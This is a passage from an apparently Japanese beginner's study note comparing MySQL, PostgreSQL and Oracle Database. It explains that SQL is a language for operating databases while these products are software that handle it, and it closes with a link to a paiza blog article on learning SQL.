データベースには様々な種類があり、オープンソースのデータベースやライセンス料の必要なデータベースもあります。

###MySQL
**MySQL**は世界で最も有名なオープンソースデータベースです。一からサーバーを構築する際によく使用され、世界で最も利用されています。

###PostgreSQL
**PostgreSQL**もオープンソースのデータベースであり、**MySQL**に並んで人気があります。
**MySQL**と**PostgreSQL**を比べた場合、違いとしては、大量のデータに対する`SELECT`の処理が、**MySQL**よりも**PostgreSQL**の方が速いという特徴があります。

###Oracle Database
**Oracle Database**は機能や動作速度、堅牢性に定評があり高機能ではありますが、高額な為大規模なデータ管理に使用される事が多いです。
多くの機能を使いこなすのに専門的な知識が必要であり、**「ORACLE MASTERデータベース認定資格」**などの試験もあります。

その他にも**ACCESS**や**SQLite**など様々なデータベースがあります。

#まとめ
簡単に言うと**SQL**は**データベースを操作するプログラミング言語**で、**MySQL**などのデータベースは**SQLを扱うソフトウェアの名前**と覚えておけば問題ないかと思います。
SQLは今後よく使用する事になると思うので、積極的に勉強していきたいと思います。

**SQLについての学習方法について**
https://paiza.hatenablog.com/entry/2015/06/10/%E5%88%9D%E5%BF%83%E8%80%85%E3%81%A7%E3%82%82%E3%81%BB%E3%81%BC%E7%84%A1%E6%96%99%E3%81%A7SQL%E3%82%92%E5%8B%89%E5%BC%B7%E3%81%A7%E3%81%8D%E3%82%8B%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%848%E9%81%B8